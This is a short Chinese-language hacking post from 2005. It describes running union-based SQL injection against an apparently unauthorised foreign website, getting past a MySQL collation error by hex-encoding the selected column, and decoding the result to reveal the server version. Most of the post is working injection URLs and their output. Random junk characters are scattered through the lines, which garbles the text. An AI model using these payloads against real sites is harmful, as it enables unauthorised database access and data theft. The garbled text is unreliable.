本文作者:SuperHei
1 E% q) T+ Z8 i% Y7 H) Y文章性质:原创
) w* K: {6 i# _发布日期:2005-10-18
* H g; {" }+ K- l6 o测试个国外的站时:
7 p3 F9 M E0 c$ @url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*2 l0 l2 n5 o; }4 N' [8 s' U0 F( M
返回错误:
4 ?* F+ F- w) q, ~# v, h, h5 U8 dIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
. w) a4 U5 C R4 wMySQL Error No. 126$ H4 \! Y; B. x& n, A! [% M
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
J+ I/ R3 O1 Y0 {& Q" Z解决办法:转为其他编码如hex。8 z; v: w! I5 r
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*3 l$ G7 j" c1 \3 f: c2 X+ u6 c
成功得到hex(version())的值为:
* ?6 f. P- R& F5 H: A) j342E312E332D62657461- k/ x+ k4 d3 O/ {& z
回Mysql查询下得到:, e6 y# N8 R6 v0 }
mysql> select 0x342E312E332D62657461;& j# w2 Q+ t( M: X$ q3 p
+------------------------+
$ X/ D& U0 a1 s: G8 W| 0x342E312E332D62657461 |$ J8 H+ Q, E! t7 x# f% o; z2 V( N
+------------------------+. G9 N1 f! I6 S# V& ~2 G
| 4.1.3-beta |# V, }# N' [! n2 X a
+------------------------+" \9 a: w8 \0 t- k; `! a* [- c
1 row in set (0.00 sec)
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